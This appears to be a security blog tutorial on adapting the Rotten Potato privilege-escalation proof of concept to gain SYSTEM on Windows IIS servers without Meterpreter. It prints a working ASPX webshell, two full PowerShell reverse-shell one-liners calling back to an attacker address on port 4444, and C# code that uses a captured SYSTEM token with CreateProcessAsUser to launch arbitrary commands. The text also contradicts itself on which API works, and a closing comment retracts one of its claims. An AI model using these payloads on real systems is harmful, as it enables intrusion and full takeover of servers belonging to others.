Never heard about the “Rotten Potato”? If not, read this post written by the authors of this fantastic exploit before continuing: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
The mechanism is quite complex, it allows us to intercept the NTLM authentication challenge which occurs during the DCOM activation through our endpoint listener and impersonate the user’s security access token (in this case SYSTEM because we are creating an instance of the BITS – Background Intelligent Transfer Service – which is running under this account)
What is an access token? It’s an object that describes the security context of a Windows process or thread, something similar to a session cookie…
Got it? It’s really awesome, all we need is a process with appropriate privileges (tipically SeImpersonatePrivilege). Normally users running the SQL server service or the IIS service have these privileges, so if we are able to get a shell or execute commands from these systems we are half on the way…
Even more amazing fact is that MS didn’t fix the issue, and probably they won’t because “the behaviour is by design” 😉
I won’t dig deeper in this exploit, I just want to show you how you can use the POC written by the authors without relying on meterpreter and the “incognito” module.
So let’s start! First of all , we will setup IIS on our windows box (starting from win 7 to 2016) and copy a simple “command” .aspx page in the webroot directory.
For example this simple script:
Function RunCmd(command) Dim res as integer Dim myProcess As New Process() Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe") myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo myProcessStartInfo.Arguments="/c " + command myProcess.Start() Dim myStreamReader As StreamReader = myProcess.StandardOutput Dim myString As String = myStreamReader.Readtoend() myProcess.Close() RunCmd= MyString End Function Enter your shell command < % if request("cmd") "" then response.write(" <pre>"+ RunCmd(request("cmd"))+ "</pre> ") end if %>
Webshell works, we are IIS default appool (whoami)
and our privs (whoami /priv):
We have the necessary privileges, an interactive reverse powershell is all we need :
powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('IP',4444); $st = $c.GetStream();[byte[]]$b = 0..65535|%{0}; while(($i = $st.Read($b, 0, $b.Length)) -ne 0){; $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i); $sb = (IEX $d 2>&1 | Out-String ); $sb2 = $sb + 'PS ' + (pwd).Path + '> '; $sby = ([text.encoding]::ASCII).GetBytes($sb2); $st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"
Good..reverse shell is working!
Time to donlowad the C# Rotten Potato POC from here https://github.com/foxglovesec/RottenPotato and open it in Visual Studio.
Now take a look at the _LocalToken.cs file in the “Potato” project
The mygetuser() function tells us that we are “SYSTEM” and if we launch the exploit inside a meterpreter session we are able to “steal” SYSTEM’ s token and impersonate this special user.
But our goal is to avoid meterpreter, so le’ts try something diferent.
First of all we have to be sure that everything works fine, so we will add some custom code:
We call the QuerySecurityContext() API in order to get the SYSTEM’s token and then impersonate it in the new context. Next we try to create a subdirectory in c:\windows, if we are IIS user we can’t do it of course!
After compiling the whole project, use ILMerge.exe to create a single executable. If you choose a platform above Framework 3.5 remember to specify the version. For example:
ILMerge.exe Potato.exe NHttp.dll SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll /out:myrotten.exe /targetplatform:v4,"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5"
I won’t show you how to upload the executable in c:\windows\temp, you already know how to do this from you PS reverse shell, right? 😉
If everything works fine, you should be able to create the “rottenpotato” directory in c:\windows by launching myrotten.exe:
Well, the exploit worked, let’s move a step forward.
This is our stratgegy:
- instead of interacting with “incognito“, launch a new process passed via command line and impersonate the SYSTEM user
First of all we need to do some adjustments in Main() function of Program.cs
We store the program name we want to call (for example a reverse powershell) in Public Static String CmdLine
And now comes the most important part, which Windows API should we call in order to spawn a new process using the SYSTEM token?
We have two possible candidates:
BOOL WINAPI CreateProcessAsUser( _In_opt_ HANDLE hToken, _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation );
and
BOOL WINAPI CreateProcessWithTokenW( _In_ HANDLE hToken, _In_ DWORD dwLogonFlags, _In_opt_ LPCWSTR lpApplicationName, _Inout_opt_ LPWSTR lpCommandLine, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCWSTR lpCurrentDirectory, _In_ LPSTARTUPINFOW lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInfo );
These functions are similar, they both accept our token as input. The main difference are:
- CreateProcessWithTokenW() needs the SeImpersonatePrivilege. But it seems not working in Session 0 (where our shell lives because launched from IIS service)
- CreateProcessAsUser() needs the SeAssignPrimaryToken privilege (we have it) but it works in Session 0
In our case CreateProcessAsUser() is not an option, so we will use this one.
We will setup our function RunMyProcessAsUser() passing our precious token obtained before.
public class MyProcess { [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall) ] public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); } . . . . public bool RunMyProcessAsUser(IntPtr hToken) { MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION(); MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES(); MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO(); try { sa.Length = Marshal.SizeOf(sa); si.cb = Marshal.SizeOf(si); si.lpDesktop = String.Empty; bool result = MyProcess.CreateProcessAsUser( hToken, Program.CmdLine, String.Empty, ref sa, ref sa, false, 0, IntPtr.Zero, @"C:\", ref si, ref pi ); if (!result) { int error = Marshal.GetLastWin32Error(); Console.WriteLine(String.Format("RunMyProcess Error: {0}", error)); return false; } Console.WriteLine("Executed:" + Program.CmdLine); Process currentProcess = Process.GetCurrentProcess(); } finally { if (pi.hProcess != IntPtr.Zero) MyProcess.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero) MyProcess.CloseHandle(pi.hThread); } return true; }
After declaring the necessary structures and the API calls, we just invoke the CreateProcessAsUser() function passing the necessary arguments, first of all the token, the command to execute and some default values. The working directory will be C:\
As you can see, we did not duplicate our token by invoking the DuplicateTokenEx() function before creating the process because it’s not really necessary. We already have a primary token.
We will call our function here:
Time to compile the whole stuff and test it. But before that, we will upload our rev.bat in c:\windows\temp
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
And now the moment of truth.
From the PS reverse shell, with user IIS, we will call our myrotten.exe:
And in our new listening console:
We got it!
As you can see, I only described the relevant parts of the code in order to get it work, it’s up to you play with C# and modify the project according to your needings…
In the next article I will show you how to integrate it it with InstallUtil.exe
That’s all 😉
I just played with the new version of Rotten Potato in C++ (https://github.com/breenmachine/RottenPotatoNG). Contrary to what I wrote, it is possible to use CreateProcessWithTokenW in Session 0. Let me finish all the tests and I will post my findings about “Potatoes & Tokens” 😉
LikeLike